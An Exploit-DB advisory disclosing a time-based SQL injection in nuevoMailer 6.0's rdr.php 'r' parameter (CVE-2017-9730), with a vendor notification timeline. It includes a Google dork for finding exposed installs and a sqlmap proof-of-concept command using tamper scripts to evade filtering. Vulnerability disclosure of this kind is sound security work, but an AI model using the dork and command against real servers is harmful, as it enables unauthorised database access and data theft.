nuevoMailer 6.0 - SQL Injection

EDB-ID: 42193
Author: Oleg Boytsev
Published: 2017-06-09
CVE: CVE-2017-9730
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Exploit Author: ALEH BOITSAU 
# Google Dork: inurl:/inc/rdr.php?
# Date: 2017-06-09
# Vendor Homepage:
# Version: 6.0 and earlier
# Tested on: Linux
# CVE: CVE-2017-9730

Description: SQL injection vulnerability in rdr.php in nuevoMailer version 6.0 and earlier
allows remote attackers to execute arbitrary SQL commands via the "r" parameter.

PoC:[time based SQL INJ]

sqlmap -u "" --dbms=mysql -p r --tamper=equaltolike,between  --hostname --technique=T -v 3 --random-agent --time-sec=4

NB: "equaltolike" and "between" arsenal to defeat filtering! Data retrieval process may take more than usual time.

Disclosure Timeline:
2017-06-09: Vendor has been notified
2017-06-09: Vendor responded with intention to fix the vulnerability
2017-06-16: CVE number acquired
2017-06-16: Public disclosure

Related Posts